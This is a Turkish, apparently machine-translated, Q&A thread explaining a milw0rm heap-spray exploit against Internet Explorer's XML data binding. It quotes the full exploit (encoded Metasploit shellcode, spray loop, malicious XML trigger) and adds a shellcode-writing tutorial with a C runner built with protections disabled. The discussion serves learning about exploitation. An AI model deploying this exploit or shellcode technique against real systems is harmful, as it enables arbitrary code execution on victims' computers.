Bu milw0rm yığın püskürtme istismarı nasıl çalışır?

Question 1

Genelde JavaScript kodunu okumakta zorluk çekmiyorum ama bunun için mantığı çözemiyorum. Kod, 4 gün önce yayınlanan bir güvenlik açığından alınmıştır. Milw0rm'de bulabilirsiniz .

İşte kod:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

İşte bunun olduğuna inandığım şey ve yanlış anladığım kısım için bana yardım etmenizi istiyorum.

Değişken shellcodeaçmak için kod içerir calc.exe. Bu tuhaf ipi nasıl bulduklarını anlamıyorum. Herhangi bir fikir?

İkinci şey değişkendir spray. Bu tuhaf döngüyü anlamıyorum.

Üçüncü şey, memoryhiçbir yerde kullanılmayan değişkendir . Neden yaratıyorlar?

Son olarak: XML etiketi sayfada ne yapar?

Şu an için iyi cevaplarım var ama çoğunlukla çok genel olanlar. Kodun değeri hakkında daha fazla açıklama istiyorum. Bir örnek unescape("%u0a0a%u0a0a");. Bunun anlamı ne? Döngü için aynı şey: geliştirici neden yazdı length < 0xd0000:? Daha derin bir anlayış istiyorum, sadece bu kodun teorisini değil.

Question 2

Kabuk kodu, gerçek açıktan yararlanmayı sağlayacak bazı x86 derleme yönergelerini içerir. sprayyerleştirilecek uzun bir talimatlar dizisi oluşturur memory. Kabuk kodumuzun bellekteki tam yerini genellikle bulamadığımız için, ondan nopönce birçok talimat koyar ve orada bir yere atlarız. memoryDizi atlama mekanizması ile birlikte gerçek kod x86 tutacaktır. Hazırlanmış XML'i hata içeren kitaplığa besleyeceğiz. Çözümlendiğinde, hata komut işaretçisi kaydının istismarımızda herhangi bir yere atanmasına neden olarak keyfi kod yürütülmesine yol açar.

Daha derinlemesine anlamak için x86 kodunun içinde ne olduğunu gerçekten anlamalısınız. unscapedizenin temsil ettiği bayt dizisini spraydeğişkene koymak için kullanılacaktır . Yığının büyük bir bölümünü dolduran ve kabuk kodunun başlangıcına atlayan geçerli x86 kodudur. Bitiş koşulunun nedeni, komut dosyası motorunun dize uzunluğu sınırlamalarıdır. Belirli bir uzunluktan daha büyük dizeleriniz olamaz.

X86 montajında 0a0atemsil eder or cl, [edx]. Bu, nopistismarımızın amaçlarına yönelik talimatlara etkin bir şekilde eşdeğerdir . İçinde nereye sprayatlasak, yürütmek istediğimiz kod olan kabuk koduna ulaşana kadar sonraki talimata geçeceğiz.

XML'e bakarsanız 0x0a0a, orada da olduğunu göreceksiniz . Ne olduğunu tam olarak açıklamak, istismar hakkında özel bilgi gerektirir (hatanın nerede olduğunu ve nasıl sömürüldüğünü bilmelisiniz ki ben bilmiyorum). Ancak, Internet Explorer'ı innerHtmlkötü amaçlı XML dizesini ayarlayarak hatalı kodu tetiklemeye zorluyoruz . Internet Explorer onu ayrıştırmaya çalışır ve buggy kodu bir şekilde dizinin var olduğu bellek konumuna denetim sağlar (büyük bir yığın olduğundan, oraya atlama olasılığı yüksektir). Oraya atladığımızda, CPU, or cl, [edx]belleğe yerleştirilen shellcode'un başlangıcına ulaşıncaya kadar talimatları yürütmeye devam edecektir .

Kabuk kodunu demonte ettim:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Bu kabuk kodunu anlamak, JavaScript'i değil, x86 derleme bilgisini ve MS kitaplığının kendisindeki sorunu (buraya ulaştığımızda sistem durumunun ne olduğunu bilmek) gerektirir! Bu kod sırayla yürütülecektir calc.exe.

Question 3

Bu , Microsoft'un acil durum düzeltme ekini yayınladığı son Internet Explorer hatasından yararlanmaya benziyor . Microsoft'un XML işleyicisinin veri bağlama özelliğinde, yığın belleğinin yanlış bir şekilde ayrılmasına neden olan bir kusur kullanır.

Kabuk kodu, hata oluştuğunda çalışacak makine kodudur. Püskürtme ve bellek, istismar edilebilir koşulun oluşmasına yardımcı olmak için yığın üzerinde ayrılmış alanlardan yalnızca biridir.

Question 4

Yığın Püskürtme, tarayıcı malzemelerinden yararlanmanın yaygın bir yoludur, eğer içindeyseniz, bunun gibi birkaç gönderi bulabilirsiniz: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

Question 5

Bir istismar tartışmasında ele alınmayan bir bellek gördüğümde, ilk düşüncem, istismarın bir tür arabellek taşması olduğudur, bu durumda bellek ya arabelleğin taşmasına neden oluyor ya da arabellek taştığında erişiliyor. .

Question 6

Bu metasploit'ten, yani metasploit kabuk kodlarından birini kullanıyor demektir. Açık kaynak olduğundan, gidip onu alabilirsiniz: http://www.metasploit.com/

Question 7

HTML'de karakter kodlamaları konusuna bakın .

JavaScript'in kodunu çözdüğü bir dize olarak kodlanmış ikili verilerdir.

Ayrıca XSS'nin ortak biçimi .

Tüm kodlama püf noktalarını burada görebilirsiniz:

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project

Question 8

Basit kabuk kodu örneği

Sözdiziminde & t x86 montajında merhaba dünya İnanıyorum (Sihirbaz Eğitimde).

dosyayı ayarlayın:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

şu şekilde derleyin:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Artık merhaba dünyayı yazdıran bir ikili programınız var. ikiliyi kabuk kod türüne dönüştürmek için:objdump -D shellcode

çıktıyı alacaksınız:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Şimdi 4. satıra metinle bakarsanız şunu göreceksiniz: 400078: eb 1a jmp 0x400094

diyor kısmı eb 1amontaj talimatının onaltılık temsilidir jmp one"bir" senin dize bellek adresidir.

kabuk kodunuzu yürütme için hazırlamak için başka bir metin dosyası açın ve onaltılık değerleri bir karakter dizisinde saklayın. Kabuk kodunu doğru şekilde biçimlendirmek için \xher onaltılık değerden önce bir yazarsınız.

yaklaşan kabuk kodu örneği, objdump komut çıktısına göre aşağıdaki gibi görünecektir:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Bu örnek, dizi için C kullanır. Artık "merhaba dünya" standart çıkışına yazacak çalışan bir kabuk kodunuz var

Kabuk kodunu bir güvenlik açığına yerleştirerek test edebilir veya test etmek için aşağıdaki c programını yazabilirsiniz:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Program türünü derlemek için:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

ile çalıştırın ./run Linux mint / debian'da test edilmiş basit bir kabuk kodu geliştirme örneğiniz olduğunu biliyorsunuz.